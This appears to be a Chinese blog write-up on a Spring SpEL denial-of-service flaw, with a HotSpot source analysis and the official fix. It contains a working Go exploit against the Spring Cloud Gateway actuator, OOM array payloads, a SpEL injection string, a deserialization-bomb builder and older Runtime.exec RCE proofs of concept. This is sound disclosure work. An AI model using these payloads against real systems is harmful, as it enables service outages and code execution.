前言:水文,没有什么技术,错误之处欢迎大佬们指出
今天Spring核心框架爆出拒绝服务漏洞,由于Spring在Java中的地位超然,该漏洞会影响到几乎所有的Spring系列组件,例如常见的SpringBoot和SpringCloud等。但也不用担心,因为利用门槛很高,需要可以执行SPEL
值得注意的是:安全的SimpleEvaluationContext同样存在拒绝服务漏洞
于是写了一篇水文
前段时间在研究三梦师傅的文章:一种普遍存在于java系统的缺陷 - Memory DoS
写了一篇 跟着三梦学Java安全 文章,内容是如何半自动检测三梦师傅提到的几种漏洞
Pattern.matches造成的DoS(又称ReDoS)
经过一段时间的学习与实践,发现了不少的Memory DoS漏洞(称之为缺陷更合适一些)
虽然很多组件或平台给拒绝服务(DENY OF SERVICE)漏洞至少中危,甚至高危,但该漏洞大部分情况下是鸡肋洞,没有太多的实际利用价值,称之为垃圾洞也不为过。不过如果Tomcat或Spring这种大范围使用的框架存在低门槛的拒绝服务漏洞,也会有比较严重的后果。这次Spring核心框架的拒绝服务漏洞有较高的门槛,并不能通杀所有的Spring应用
一位大佬曾经说过:赚钱的业务,不怕信息泄露,也不怕你RCE,只怕你把它打挂了
三月初爆出了Spring Cloud Gateway的RCE漏洞,简单分析发现依旧是Spring Expression模块的问题
参考去年底Apache Log4j2出现著名的RCE漏洞后,爆出两个拒绝服务漏洞,所以我想从SPEL本身来分析是否存在DOS
官方的修复代码: Spring Cloud Gateway 修复
当使用StandardEvaluationContext时SPEL允许执行恶意代码例如T(java.lang.Runtime).getRuntime()
if (rawValue != null && rawValue.startsWith("#{") && entryValue.endsWith("}")) { // 修复前 StandardEvaluationContext context = new StandardEvaluationContext(); // 修复后 GatewayEvaluationContext context = new GatewayEvaluationContext(new BeanFactoryResolver(beanFactory)); // ...}该context的方法都是基于delegate对象的,注意到这是SimpleEvaluationContext
xxxxxxxxxxclass GatewayEvaluationContext implements EvaluationContext { private SimpleEvaluationContext delegate = SimpleEvaluationContext.forReadOnlyDataBinding().build(); // ...}使用SimpleEvaluationContext时SpEL无法调用Java类对象或引用bean
在历史上,一些曾经出现过的SpEL漏洞大部分采用了该context做修复,修复后确实无法RCE
但使用了SimpleEvaluationContext后是否让SpEL达到了绝对的安全?
于是我翻阅SpEL官方文档,查询是否有其他漏洞的可能性,首先发现了正则匹配,下面是文档介绍
xxxxxxxxxx// evaluates to trueboolean trueValue = parser.parseExpression("'5.00' matches '^-?\\d+(\\.\\d{2})?$'").getValue(Boolean.class);尝试修改为ReDoS的Payload测试
xxxxxxxxxxSpelExpressionParser parser = new SpelExpressionParser();String payload = "'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaab' matches '(a|aa)+'";Expression expr = parser.parseExpression(payload);SimpleEvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();Object o = expr.getValue(context);发现并不会产生拒绝服务,报错Pattern access threshold exceeded
分析Spring代码后发现已对此问题做了处理
xxxxxxxxxxprivate static class AccessCount { private int count; public void check() throws IllegalStateException { // PATTERN_ACCESS_THRESHOLD = 1000000; if (this.count++ > PATTERN_ACCESS_THRESHOLD) { throw new IllegalStateException("Pattern access threshold exceeded"); } }}继续阅读文档,发现支持数组创建
xxxxxxxxxxint[] numbers1 = (int[]) parser.parseExpression("new int[4]").getValue(context); // Array with initializerint[] numbers2 = (int[]) parser.parseExpression("new int[]{1,2,3}").getValue(context); // Multi dimensional arrayint[][] numbers3 = (int[][]) parser.parseExpression("new int[4][5]").getValue(context); 其实看过三梦师傅文章的话,稍微分析代码后,即可发现漏洞
xxxxxxxxxxpublic static void main(String[] args) { long startTime = System.currentTimeMillis(); Runtime.getRuntime().addShutdownHook(new Thread(() -> { long endTime = System.currentTimeMillis(); // 统计时间:耗时5-10秒 System.out.println("cost: " + (endTime - startTime) / 1000 + " s"); })); SpelExpressionParser parser = new SpelExpressionParser(); // OOM // 这样写Payload是有原因的,并不是随便写 Expression expr = parser.parseExpression("new int[1024*1024*1024][2]"); SimpleEvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build(); expr.getValue(context);}以上代码将导致OOM(堆内存耗尽)并耗尽CPU以实现拒绝服务
无论使用危险的StandardEvaluationContext或者安全的SimpleEvaluationContext再或者使用修复后的GatewayEvaluationContext这三种情况,只要SPeL可控那么就存在拒绝服务漏洞
注意:
漏洞基本原理简单,但我为什么我要用new int[1024*1024*1024][2]这样的Payload
而不是new int[0x7fffffff](0x7fffffff是int型最大值)
我会在0x03 深入原理中分析,涉及到JVM的一些C++代码
遗憾,这个Spring的拒绝服务漏洞有一定的门槛,需要可控SPEL能够执行
该漏洞的发现源于Spring Cloud Gateway所以就先拿这个测试
利用某师傅 Github环境 并修改Spring Cloud Gateway到最新版来测试(3.1.1已修复RCE)
x<dependency> <groupId>org.springframework.cloud</groupId> <artifactId>spring-cloud-starter-gateway</artifactId> <version>3.1.1</version></dependency>
<dependency> <groupId>org.springframework.cloud</groupId> <artifactId>spring-cloud-gateway-server</artifactId> <version>3.1.1</version></dependency>
使用Golang编写针对于该环境的Exp
xxxxxxxxxxpackage main
import ( "fmt" "net/http" "os" "os/signal" "strings")
func main() { client := &http.Client{} url := "http://127.0.0.1:8080/actuator/gateway/routes/first_route" contentType := "application/json" body := `{ "id": "first_route", "predicates": [ { "name": "Cookie", "args": { "_genkey_0": "#{new int[1024*1024*1024][2]}", "_genkey_1": "mycookievalue" } } ], "filters": [], "uri": "https://www.uri-destination.org", "order": 0 }` resp, _ := client.Post(url, contentType, strings.NewReader(body)) fmt.Println(resp.StatusCode) // 简单发送几个请求 for i := 0; i < 10; i++ { go client.Post("http://127.0.0.1:8080/actuator/gateway/refresh", "application/json", nil) } c := make(chan os.Signal) signal.Notify(c, os.Interrupt, os.Kill) <-c}
效果:无法提供服务
在JVM监控中看到堆内存被拉满且CPU使用率直线上升

并且我的笔记本也被打满了

当使用new int[0x7fffffff]时可以发现CPU和堆内存并没有明显的变化(相对于上图而言)

发现同样是OOM但实际上会有两种OOM所以下文主要分析这两种OOM的原理
分析Spring的源码可以跟到JDK的代码
java.lang.reflect.Array的newInstance方法如果参数可控会造成OOM
xxxxxxxxxx// 普通数组int[] simpleArray = (int[]) Array.newInstance(int.class, 100);// 多维数组int[][] dimArray = (int[][]) Array.newInstance(int.class, new int[]{100, 200});
发现底层是native方法
xxxxxxxxxxprivate static native Object multiNewArray(Class<?> componentType, int[] dimensions) throws IllegalArgumentException, NegativeArraySizeException;
该native方法对应的C++代码(来自openjdk-8中HotSpot部分代码)
int)则直接构造对应的数组xxxxxxxxxxarrayOop Reflection::reflect_new_multi_array(oop element_mirror, typeArrayOop dim_array, TRAPS) { // 目标类型不能为空 if (element_mirror == NULL) { // 否则抛出NPE THROW_0(vmSymbols::java_lang_NullPointerException()); } // 目标维度 int len = dim_array->length(); // 搜索源码发现维度MAX_DIM最大限制为255 if (len <= 0 || len > MAX_DIM) { // 否则抛出IllegalArgumentException THROW_0(vmSymbols::java_lang_IllegalArgumentException()); } // 一个空int数组用于表示:每个维度的长度 jint dimensions[MAX_DIM]; for (int i = 0; i < len; i++) { // 每个维度的长度 int d = dim_array->int_at(i); if (d < 0) { // 负数抛出NegativeArraySizeException // 这里没有判断最大值,因为超过Integer.MAX_VALUE溢出后一定是负数 THROW_0(vmSymbols::java_lang_NegativeArraySizeException()); } // 设置每个维度的长度 dimensions[i] = d; } // 最终返回的类 Klass* klass; // 最终维度 int dim = len; // 判断是否基本数据类型 if (java_lang_Class::is_primitive(element_mirror)) { // 得到基本数据类型的数组对象(代码在下方) klass = basic_type_mirror_to_arrayklass(element_mirror, CHECK_NULL); } else { // ... } // 对象转换(代码在下方) klass = klass->array_klass(dim, CHECK_NULL); // 分配内存(代码在下方) oop obj = ArrayKlass::cast(klass)->multi_allocate(len, dimensions, CHECK_NULL); return arrayOop(obj);}
basic_type_mirror_to_arrayklass函数代码:根据基本类型获得TypeArrayKlass对象
xxxxxxxxxxKlass* Reflection::basic_type_mirror_to_arrayklass(oop basic_type_mirror, TRAPS) { // 得到基本类型 BasicType type = java_lang_Class::primitive_type(basic_type_mirror); if (type == T_VOID) { // 不支持VOID数组 THROW_0(vmSymbols::java_lang_IllegalArgumentException()); } else { // 根据基本类型返回初始化的对象(未分配内存) return Universe::typeArrayKlassObj(type); }}
在klass.hpp中看到array_klass的虚函数,因此查找子类的array_klass_impl函数
xxxxxxxxxxKlass* array_klass(TRAPS) { return array_klass_impl(false, THREAD); }protected: virtual Klass* array_klass_impl(bool or_null, TRAPS);
不难看出上文是typeArrayKlass对象,这里面的实现比较复杂,省略了其中的代码
大致的逻辑是将TypeArrayKlass对象转为ObjArrayKlass对象(期间并未分配内存)
xxxxxxxxxxKlass* TypeArrayKlass::array_klass_impl(bool or_null, TRAPS) { return array_klass_impl(or_null, dimension() + 1, THREAD);}
Klass* TypeArrayKlass::array_klass_impl(bool or_null, int n, TRAPS) { // ...... // TypeArrayKlass -> ObjArrayKlass}
此时的klass对象是ObjArrayKlass对象,所以multi_allocate找到以下代码,写的比较巧妙
xxxxxxxxxx// 此时的rank是目标维度// 此时的sizes是每个维度的长度数组// 第三个参数无关oop ObjArrayKlass::multi_allocate(int rank, jint* sizes, TRAPS) { // 指向第0个元素 int length = *sizes; KlassHandle h_lower_dimension(THREAD, lower_dimension()); // 分配内存(代码在下方) objArrayOop array = allocate(length, CHECK_NULL); objArrayHandle h_array (THREAD, array); // 如果是一维数组则直接返回,高维才会继续 if (rank > 1) { // length是某维度的长度 if (length != 0) { // 注意该for循环,会在后文提到 for (int index = 0; index < length; index++) { // 猜测是保存低维和高维数组的缓存,优化作用(与我们分析的目的无关) ArrayKlass* ak = ArrayKlass::cast(h_lower_dimension()); // 递归本方法(维度减一)以对应维度长度分配内存(取数组第二个元素因为后文会移位) oop sub_array = ak->multi_allocate(rank-1, &sizes[1], CHECK_NULL); // 保存执行结果 h_array->obj_at_put(index, sub_array); } } else { for (int i = 0; i < rank - 1; ++i) { // 指针根据当前维度移位以继续递归 sizes += 1; } } } return h_array();}
可以看到分配内存的函数为allocate
xxxxxxxxxxobjArrayOop ObjArrayKlass::allocate(int length, TRAPS) { // length是每个维度的长度 if (length >= 0) { if (length <= arrayOopDesc::max_array_length(T_OBJECT)) { int size = objArrayOopDesc::object_size(length); KlassHandle h_k(THREAD, this); // 真正的分配内存(代码在下方) return (objArrayOop)CollectedHeap::array_allocate(h_k, size, length, CHECK_NULL); } else { // 超过长度则抛出OOM(Requested array size exceeds VM limit) report_java_out_of_memory("Requested array size exceeds VM limit"); JvmtiExport::post_array_size_exhausted(); THROW_OOP_0(Universe::out_of_memory_error_array_size()); } } else { THROW_0(vmSymbols::java_lang_NegativeArraySizeException()); }}
在分配堆内存之前,如果某维度数组长度大于某个值(有尝试跟过max_length函数发现比较麻烦)则会出现Requested array size exceeds VM limit报错,但实际上还没有分配内存所以不影响CPU和堆内存,谈不上真正的拒绝服务
xxxxxxxxxxoop CollectedHeap::array_allocate(KlassHandle klass, int size, int length, TRAPS) { // ... HeapWord* obj = common_mem_allocate_init(klass, size, CHECK_NULL); return (oop)obj;}
跟踪array_allocate最终到common_mem_allocate_noinit函数,先分配了内存,然后才会产生Java heap space的OOM
xxxxxxxxxxHeapWord* CollectedHeap::common_mem_allocate_noinit(KlassHandle klass, size_t size, TRAPS) { bool gc_overhead_limit_was_exceeded = false; // 分配内存 result = Universe::heap()->mem_allocate(size, &gc_overhead_limit_was_exceeded); // 分配成功的情况直接返回 if (result != NULL) { // ... return result; } // 分配失败情况下会抛出两种OOM if (!gc_overhead_limit_was_exceeded) { report_java_out_of_memory("Java heap space"); // ... // 抛出Java heap space的OOM THROW_OOP_0(Universe::out_of_memory_error_java_heap()); } else { report_java_out_of_memory("GC overhead limit exceeded"); // ... // 抛出GC overhead limit exceeded的OOM(GC过于频繁的OOM) THROW_OOP_0(Universe::out_of_memory_error_gc_overhead_limit()); }}到这里疑问就解答了:为什么我不写成new int[0x7fffffff]
因为拒绝服务需要的是Java heap space的OOM而不是Requested array size exceeds VM limit
new int[0x7fffffff]在allocate函数中会走抛出异常的分支而不是分配内存,所以虽OOM但没有影响到内存
new int[1024*1024*1024][2]的写法,每一个维度都可以通过allocate方法的长度检测,成功分配内存
这个最大长度arrayOopDesc::max_array_length无法直观地看出,至少在0x7fffffff附近会超过,在1G左右没有问题
而一维[1024*1024*1024]会导致以下for循环的length为10亿,也就是说执行了10亿次某代码,以耗尽CPU
xxxxxxxxxxfor (int index = 0; index < length; index++) { ArrayKlass* ak = ArrayKlass::cast(h_lower_dimension()); oop sub_array = ak->multi_allocate(rank-1, &sizes[1], CHECK_NULL); h_array->obj_at_put(index, sub_array);}
结论:
Requested array size exceeds VM limit的OOMJava heap space的OOMfor循环执行10亿(1024*1024*1024)次以耗尽CPURequested array size exceeds VM limit的具体长度限制待分析,无法直接确认
在文章 Java反序列化机制拒绝服务的利用与防御 中提到一种类似的拒绝服务
在JDK反序列化的流程中,同样使用到了Array.newInstance用来创建数组,而第二个int参数可控导致反序列化时候OOM达到拒绝服务的效果。上面这篇文章以及 反序列化炸弹 文章中提到一种巧妙的序列化数据构造方式,简短的序列化数据在反序列化的过程中会产生大量的数据。该攻击基于java.util.Set类实现
xxxxxxxxxx// 反序列化炸弹Set<Object> root = new HashSet<>(); Set<Object> s1 = root; Set<Object> s2 = new HashSet<>(); for(int i=0;i<100;i++){ Set<Object> t1 = new HashSet<>(); Set<Object> t2 = new HashSet<>(); t1.add("foo"); s1.add(t1); s1.add(t2); s2.add(t1); s2.add(t2); s1=t1; s2=t2; } ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(root); byte[] data = baos.toByteArray(); 例如Spring-AMQP的RCE修复方式是限制反序列化目标类必须为java.util或java.lang开头,也许有操作空间。反序列化炸弹来源于《Effective Java》的第12章:Github链接
我向多个组件报告了类似的反序列化拒绝服务,并得到认可和致谢,坐等CVE中
当我查看Spring-AMQP官方通告 CVE-2021-22097 发现r00t4dm大佬已经想到了类似的方式,不过并不是利用java.util.Set炸弹,而是用java.util.Dictionary这个类,也许有更大的通用性
(1)Spring Cloud Function RCE
就近原则,第一想到的是上周五爆出的SPEL导致的RCE
借用网上师傅的图片,可以看出是从请求头中获取spring.cloud.function.routing-expression值并执行

不难推出POC
xxxxxxxxxxPOST / HTTP/1.1...spring.cloud.function.routing-expression: SPEL修复方案是SimpleEvaluationContext并不能防止拒绝服务
xxxxxxxxxxprivate final SimpleEvaluationContext headerEvalContext = SimpleEvaluationContext .forPropertyAccessors(DataBindingPropertyAccessor.forReadOnlyAccess()).build();
(2)CVE-2018-1273
Spring Data Commons中支持字段加[]的方式获取属性值,但需要fuzz确定controller中的方法名
xxxxxxxxxxPOST /api HTTP/1.1Content-Type: application/x-www-form-urlencoded
name[T(java.lang.Runtime).getRuntime().exec("calc")]官方的修复如下,该拒绝服务漏洞有效,不清楚最新版本如何,曾经的修复版本可用
xxxxxxxxxx// 使用SimpleEvaluationContext是存在拒绝服务漏洞的EvaluationContext context = SimpleEvaluationContext .forPropertyAccessors(new PropertyTraversingMapAccessor(type, conversionService)) // .withConversionService(conversionService) .withRootObject(map) .build();Expression expression = PARSER.parseExpression(propertyName);
(3)CVE-2018-1270 & CVE-2018-1275
Spring Websocket的一个RCE,自定义以下的前端代码,指定selector字段可以RCE
xxxxxxxxxxfunction connect() { var header = {"selector":"T(java.lang.Runtime).getRuntime().exec('calc.exe')"}; var socket = new SockJS('/gs-guide-websocket'); stompClient = Stomp.over(socket); stompClient.connect({}, function (frame) { setConnected(true); console.log('Connected: ' + frame); stompClient.subscribe('/topic/greetings', function (greeting) { showGreeting(JSON.parse(greeting.body).content); },header); });}官方的修复同样是使用了SimpleEvaluationContext

(4)其他利用
曾经爆出来由SpEL导致的RCE漏洞并不止两三个,凡是采用了SimpleEvaluationContext修复的都存在拒绝服务漏洞
也有部分漏洞的修复方案对表达式内容做了限制:例如不允许数字和特殊符号(也许可以绕过?值得思考)
并不只是Spring系列框架使用了SpEL表达式,例如Apache Camel也使用到了,也许存在这样的问题

(5)注入
发现在SpEL中存在类似SQL注入的手段
情景:某个功能允许用户输入一个字符串,然后进行正则判断输入是否合法(常见的功能)
xxxxxxxxxxExpression expr = parser.parseExpression("'" + input + "' matches '\\d'");SimpleEvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();expr.getValue(context);如果该功能使用了SpEL来做那么可以注入
xxxxxxxxxxString input = "' - new int[1024*1024*1024][1024*1024*1024] - '";使用'- [payload] - '即可注入拒绝服务的Payload
实际上语句是这样:'' - [payload] - '' matches '\\d'
其中的-是操作符号,将''和[payload]进行运算,虽然最终会报错,但实际上会执行Payload内容
官方的修复参考:https://github.com/spring-projects/spring-framework/commit/83ac65915871067c39a4fb255e0d484c785c0c11
xxxxxxxxxxprivate static final int MAX_ARRAY_ELEMENTS = 256 * 1024; // 256K// ...private void checkNumElements(long numElements) { if (numElements >= MAX_ARRAY_ELEMENTS) { throw new SpelEvaluationException(getStartPosition(), SpelMessage.MAX_ARRAY_ELEMENTS_THRESHOLD_EXCEEDED, MAX_ARRAY_ELEMENTS); }}修复方案很简单:限制长度,不过要区分一维数组和多维数组情况
用户和其他依赖框架的修复方案:
Spring Framework的情况仅更新Spring到5.3.17即可SpringBoot用户仅更新SpringBoot到2.6.5即可
通过这个漏洞,可以学到这样的思想
SpEL里能初始化数组